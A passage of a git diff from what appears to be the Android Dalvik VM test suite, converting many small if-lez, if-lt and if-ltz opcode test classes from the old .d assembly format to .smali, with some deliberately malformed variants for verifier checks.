-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 6
-
-       if-lez v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_5.smali
new file mode 100644
index 0000000..4672d82
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_5.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-lez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_6.d
deleted file mode 100644
index 596f1d0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_6.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;)I
-.limit regs 6
-
-       if-lez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_6.smali
new file mode 100644
index 0000000..121a5da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_6.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-lez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_7.d
deleted file mode 100644
index 129b4bb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_7.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_lez_7.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-lez v0, Label9
-       const/16 v0, 1234
-       return v0
-
-Label9:
-       const/4 v0, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_7.smali
new file mode 100644
index 0000000..47119c0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_lez_7.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-lez v0, :Label9
+       const/16 v0, 1234
+       return v0
+
+:Label9
+       const/4 v0, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_8.d
deleted file mode 100644
index b21ab3e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_8.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_8.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-lez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_8.smali
new file mode 100644
index 0000000..ae564a6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_8.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_8.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-lez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_9.d
deleted file mode 100644
index 5efdeba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_9.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_lez_9.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-lez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       const v5, 0
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_9.smali
new file mode 100644
index 0000000..4582936
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_9.smali
@@ -0,0 +1,24 @@
+.source "T_if_lez_9.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-lez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       const v5, 0
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_1.d
deleted file mode 100644
index c81d8b3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_icmpge_1.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-lt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_1.smali
new file mode 100644
index 0000000..8d60915
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_icmpge_1.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-lt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_10.d
deleted file mode 100644
index 4821984..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_10.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_lt_10.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-lt v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       const v6, 0
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_10.smali
new file mode 100644
index 0000000..07080b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_10.smali
@@ -0,0 +1,24 @@
+.source "T_if_lt_10.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-lt v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       const v6, 0
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_11.d
deleted file mode 100644
index 7e80ecf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_11.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_icmpge_11.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 8
-
-       if-lt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_11.smali
new file mode 100644
index 0000000..95349b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_11.smali
@@ -0,0 +1,23 @@
+.source "T_if_icmpge_11.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 8
+
+       if-lt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_12.d
deleted file mode 100644
index f9083cf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_12.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lt_12.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-lt v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_12.smali
new file mode 100644
index 0000000..5722c2a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_12.smali
@@ -0,0 +1,23 @@
+.source "T_if_lt_12.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-lt v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_2.d
deleted file mode 100644
index 94546c9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_2.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_icmpge_2.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       if-lt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_2.smali
new file mode 100644
index 0000000..29074f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_2.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_icmpge_2.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       if-lt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_4.d
deleted file mode 100644
index 9a93ac6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_icmpge_4.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-lt v6, v8, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_4.smali
new file mode 100644
index 0000000..d12975f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_icmpge_4.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-lt v6, v8, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_5.d
deleted file mode 100644
index 7d77ad9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_icmpge_5.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       if-lt v5, v6, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_5.smali
new file mode 100644
index 0000000..79a9924
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_icmpge_5.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-lt v5, v6, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_6.d
deleted file mode 100644
index 9d1910e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_icmpge_6.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       if-lt v5, v7, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_6.smali
new file mode 100644
index 0000000..357ee2c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_icmpge_6.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-lt v5, v7, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_7.d
deleted file mode 100644
index 8d126c7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_icmpge_7.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;I)I
-.limit regs 8
-
-       if-lt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_7.smali
new file mode 100644
index 0000000..f8ee690
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_7.smali
@@ -0,0 +1,23 @@
+.source "T_if_icmpge_7.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;I)I
+.registers 8
+
+       if-lt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_9.d
deleted file mode 100644
index 8c2f2ee..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lt_9.java
-.class public dot.junit.opcodes.if_lt.d.T_if_lt_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-lt v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_9.smali
new file mode 100644
index 0000000..79c825b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_lt_9.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-lt v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_1.d
deleted file mode 100644
index 7022a90..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_1.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-ltz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_1.smali
new file mode 100644
index 0000000..f6ed747
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_1.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-ltz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_2.d
deleted file mode 100644
index aa01356..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_2.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_2.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 6
-
-       if-ltz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_2.smali
new file mode 100644
index 0000000..102bfe3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_2.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_2.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-ltz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_3.d
deleted file mode 100644
index d2405ed..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ltz_3.java
-.class public dot.junit.opcodes.if_ltz.d.T_if_ltz_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-ltz v6, Label9
-       const/16 v6, 1234
-       return v6
-
-Label9:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_3.smali
new file mode 100644
index 0000000..226a6f2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_3.smali
@@ -0,0 +1,23 @@
+.source "T_if_ltz_3.java"
